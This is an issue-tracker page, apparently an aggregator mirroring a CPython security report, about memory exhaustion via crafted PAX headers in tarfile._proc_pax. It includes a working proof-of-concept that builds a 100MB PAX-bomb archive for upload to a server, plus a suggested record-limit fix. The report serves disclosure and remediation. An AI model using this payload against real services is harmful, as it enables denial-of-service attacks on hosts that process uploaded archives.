[Security] Memory Exhaustion (OOM) and Resource Leak via crafted PAX Headers in tarfile
メンテナーはふだん 1 日以内に返信
まだ誰も着手していません。
評価
調査の方向性
The parsing loop is in TarInfo._proc_pax in Lib/tarfile.py, which builds the raw_headers list and then the pax_headers dict without any record limit. Read that loop, then reproduce the report with the attached PoC to confirm the memory growth. Done would mean a record or size cap that raises InvalidHeaderError, plus a test in Lib/test/test_tarfile.py. Because this is a security report, check with maintainers before opening a public PR.
索引モデルが issue の本文から書いたものです。
説明
Bug report
Description:
I have identified a critical Denial of Service (DoS) vulnerability in the tarfile module of Python 3.15.0. A crafted tar archive containing a malicious PAX extended header (XHDTYPE) can force the Python process to consume an extreme amount of memory instantly, leading to an Out Of Memory (OOM) crash. Furthermore, the memory is not released by the garbage collector after the extraction operation completes.
Vulnerability Details:
Location: tarfile.TarInfo._proc_pax
Root Cause: The _proc_pax function parses the PAX header data block in a while loop without enforcing any limit on the number of records. An attacker can craft a valid PAX header data block (e.g., 100MB) filled entirely with minimal-length valid records (e.g., b"5 a=\n" which is 5 bytes per record).
Impact: The parser will create over 20 million key-value pairs in the raw_headers list and subsequently in the pax_headers dictionary. This rapidly exhausts system memory. In real-world web applications (e.g., Django, Flask, CI/CD runners) that process user-uploaded tar files, this instantly kills the worker thread and can cause the entire host OS to trigger the OOM killer.
Resource Leak: After the extraction completes (returning HTTP 200), the huge memory allocation is not immediately reclaimed by Python's garbage collector due to the massive number of objects created, leaving the server in a zombie state consuming multi-gigabyte RSS memory indefinitely.
Proof of Concept (PoC):
This PoC simulates a backend service receiving a file upload and extracting it.
Attacker Script (Generates and sends the payload):
python
import tarfile
import io
import urllib.request
def create_pax_bomb():
# Minimal valid PAX record: "5 a=\n" (5 bytes)
record = b"5 a=\n"
target_size = 100 * 1024 * 1024 # 100 MB
num_records = target_size // len(record)
payload_data = record * num_records
tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode="w") as tar:
info = tarfile.TarInfo("././@PaxHeader")
info.type = tarfile.XHDTYPE
info.size = len(payload_data)
tar.addfile(info, io.BytesIO(payload_data))
normal_info = tarfile.TarInfo("test.txt")
normal_info.size = 0
tar.addfile(normal_info)
return tar_buffer.getvalue()
Send via HTTP POST...
Server/Extraction Script:
python
import tarfile
When the server calls this:
try:
with tarfile.open(filepath, "r:") as tar:
tar.extractall(path=EXTRACT_DIR)
print("Extraction complete.")
except Exception as e:
print(e)
Execution Result:
The server script prints Extraction complete (or HTTP 200 success).
However, observing the process memory (Task Manager / psutil) shows memory usage instantly spiking to multiple GBs.
After the extraction finishes, the memory is not released, leaving the process hanging and unresponsive.
Suggested Fix:
Add a hard limit to the number of records or the maximum size of the PAX header that tarfile is willing to process.
For example, in _proc_pax, enforce a maximum record count (e.g., MAX_PAX_RECORDS = 10000) or a maximum total size for the raw_headers list, and raise InvalidHeaderError if exceeded.
CPython versions tested on:
3.15
Operating systems tested on:
Windows
- 主要言語
- Python
- スター
- 78.2k
- フォーク
- 36.6k
- 平均マージ
- 19時間 57分
- マージ済み PR(30日)
- 630
環境構築
このプロジェクトの開発コンテナを、あなたの GitHub アカウントでブラウザ上に起動します。
- Dockerfile・Docker Compose ファイルなし
- プルリクエストのテンプレートあり
- コントリビューションガイドを読む
はじめの一歩
- issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
- 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
- リポジトリをフォークし、ブランチを切って変更します。
- issue 番号を参照したプルリクエストを送ります。
python/cpython のほかの issue
-
難易度 2/5 1〜3時間 初心者へのやさしさ 78/100
メンテナーはふだん 1 日以内に返信
-
stdlib type-bug
難易度 2/5 1〜3時間 初心者へのやさしさ 75/100
メンテナーはふだん 1 日以内に返信
-
extension-modules stdlib topic-XML type-bug
難易度 2/5 1〜3時間 初心者へのやさしさ 76/100
python/cpython#161807 · コメント 1 件 ·
メンテナーはふだん 1 日以内に返信
-
stdlib type-feature
難易度 2/5 1〜3時間 初心者へのやさしさ 78/100
python/cpython#161788 · コメント 7 件 ·
メンテナーはふだん 1 日以内に返信
-
extension-modules topic-IO type-bug
難易度 2/5 1〜3時間 初心者へのやさしさ 75/100
メンテナーはふだん 1 日以内に返信
似ている issue
-
難易度 2/5 1〜3時間 初心者へのやさしさ 62/100
cpp-best-practices/project_validator#267 ·
メンテナーはふだん 1 日以内に返信
-
難易度 2/5 1〜3時間 初心者へのやさしさ 72/100
Project-N-E-K-O/N.E.K.O#3725 ·
メンテナーはふだん 1 日以内に返信
-
[Bug] Sending a Telegram message chain twice duplicates mentions対応中かも @123XieC が今日担当しました。 オープン
難易度 2/5 1〜3時間 初心者へのやさしさ 72/100
AstrBotDevs/AstrBot#11125 ·
メンテナーはふだん 1 日以内に返信
-
backend bug priority: high
難易度 2/5 1〜3時間 初心者へのやさしさ 72/100
nooriegarg/ContribIQ#73 ·
メンテナーはふだん 1 日以内に返信
-
bug p3 security
難易度 2/5 1〜3時間 初心者へのやさしさ 68/100
メンテナーはふだん 1 日以内に返信